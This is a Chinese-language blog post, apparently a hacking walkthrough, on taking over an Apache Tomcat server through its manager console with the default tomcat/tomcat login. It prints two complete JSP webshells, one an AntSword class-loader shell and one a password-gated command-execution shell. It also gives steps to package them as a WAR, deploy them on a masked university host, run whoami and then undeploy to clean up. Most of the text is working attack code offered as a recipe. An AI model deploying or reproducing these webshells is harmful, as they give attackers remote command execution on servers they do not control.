Tomcat弱口令导致GetShell
apache-tomcat_weak-pass&getshell
说明 |
内容 |
---|---|
漏洞编号 |
— |
漏洞名称 |
tomcat 弱口令 |
漏洞评级 |
高危 |
影响范围 |
— |
漏洞描述 |
tomcat 管理控制台弱口令,导致攻击者可以登录, |
修复方案 |
重新配置管理控制台密码。 |
漏洞描述
tomcat 管理控制台弱口令,导致攻击者可以登录,并且可以部署Web 应用,甚至部署WebShell。
http://www.xxx.edu.cn:8080/manager/html
账号:tomcat
密码:tomcat
登陆成功就进入这个服务器管理控制台了
深度利用 GetShell
这个是给蚁剑连接的,密码cmd
shell.jsp
<%!
class U extends ClassLoader {
U(ClassLoader c){
super(c);
}
public Class g(byte[] b){
return super.defineClass(b,0,b.length);
}
}
public byte[] base64Decode(String str) throws Exception{
try{
Class clazz =Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
}catch (Exception e){
Class clazz =Class.forName("java.util.Base64");
Object decoder =clazz.getMethod("getDecoder").invoke(null);
return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
}
}
%>
<%
String cls =request.getParameter("cmd");
if(cls != null){
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
这个是网页传参的,test.jsp?pwd=admin&cmd=whoami
test.jsp
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句话木马</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
这次实验test.jsp生成war包
jar cvf test.war test.jsp
然后到网页上选择刚刚的文件,点击上传
www.xxx.edu.cn:8080/test/test.jsp?pwd=admin&cmd=whoami
收尾
ok,一切搞完,把war包删除
Undeploy
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容